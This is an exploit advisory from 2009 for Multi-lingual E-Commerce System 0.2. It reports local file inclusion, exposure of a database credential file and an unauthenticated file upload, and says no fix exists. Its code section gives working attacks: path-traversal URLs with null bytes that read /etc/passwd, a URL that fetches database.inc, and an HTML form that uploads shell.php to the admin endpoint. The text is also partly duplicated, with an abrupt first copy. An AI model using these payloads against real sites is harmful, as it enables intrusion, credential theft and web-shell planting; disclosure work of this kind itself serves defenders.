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Multi-lingual E-Commerce System 0.2 Multiple Remote Vulnerabilities

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Multi-lingual E-Commerce System
[+] Version: 0.2
[+] Website: http://sourceforge.net/projects/mlecsphp/

[+] Bugs: [A] Local File Inclusion
          [B] Information Disclosure
          [C] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 19 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Local File Inclusion

[-] Risk: hight
[-] File affected: index.php

This bug allows a guest to include local files.
The following is the vulnerable code:

...

if (isset($_GET['lang'])) { $_SESSION['lang'] = $_GET['lang'];}

...

<?
include($include_path.'/inc/'.$_GET['page'].'-'.$_SESSION['lang'].'.php');
?>

...


- [B] Information Disclosure

[-] Risk: medium
[-] File affected: database.inc

This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the
content is visible.

- [C] Arbitrary File Upload

[-] Risk: medium
[-] File affected: product_image.php

In the admin directory there are no files that
check if the user has admin privileges. For this
reason a guest can execute the files contained in
this directory. product_image.php contains a form
that allows to upload files on the system but
does not contain functions that check the files
extensions, however a user can upload arbitrary
files.


*************************************************

[+] Code


- [A] Local File Inclusion

http://www.site.com/path/index.php?page=../../../../../etc/passwd

*******   Salvatore "drosophila" Fresta   *******

[+] Application: Multi-lingual E-Commerce System
[+] Version: 0.2
[+] Website: http://sourceforge.net/projects/mlecsphp/

[+] Bugs: [A] Local File Inclusion
          [B] Information Disclosure
          [C] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 19 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@xxxxxxxxx


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs


- [A] Local File Inclusion

[-] Risk: hight
[-] File affected: index.php

This bug allows a guest to include local files.
The following is the vulnerable code:

...

if (isset($_GET['lang'])) { $_SESSION['lang'] = $_GET['lang'];}

...

<?
include($include_path.'/inc/'.$_GET['page'].'-'.$_SESSION['lang'].'.php');
?>

...


- [B] Information Disclosure

[-] Risk: medium
[-] File affected: database.inc

This file contains reserved informations such as
the username and the password for connecting to
the database. Using .inc extension only, the 
content is visible.

- [C] Arbitrary File Upload

[-] Risk: medium
[-] File affected: product_image.php

In the admin directory there are no files that
check if the user has admin privileges. For this
reason a guest can execute the files contained in
this directory. product_image.php contains a form
that allows to upload files on the system but 
does not contain functions that check the files 
extensions, however a user can upload arbitrary 
files.


*************************************************

[+] Code


- [A] Local File Inclusion

http://www.site.com/path/index.php?page=../../../../../etc/passwd%00

http://www.site.com/path/index.php?lang=/../../../../../../etc/passwd%00


- [B] Information Disclosure

http://www.site.com/path/admin/inc/database.inc


- [C] Arbitrary File Upload

<html>
  <head>
    <title>Multi-lingual E-Commerce System 0.2 Arbitrary File Upload 
Exploit</title>
  </head>
  <body>
    <form enctype="multipart/form-data" 
action="http://site/path/admin/product_image.php"; method="POST">
         <label for="product">Valid product ID:</label><br>
         <input type="text" name="product" value="1"><br>
         <label for="file_name">Evil file name:</label><br>
         <input type="text" name="file_name" value="/shell.php"><br>
         <label for="userfile">File:</label>
         <input name="userfile" type="file">
         <input type="hidden" name="file_path"><br><br>
         <input type="submit" value="Upload">
   </form>
  </body>
</html>


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[+] Fix

No fix.


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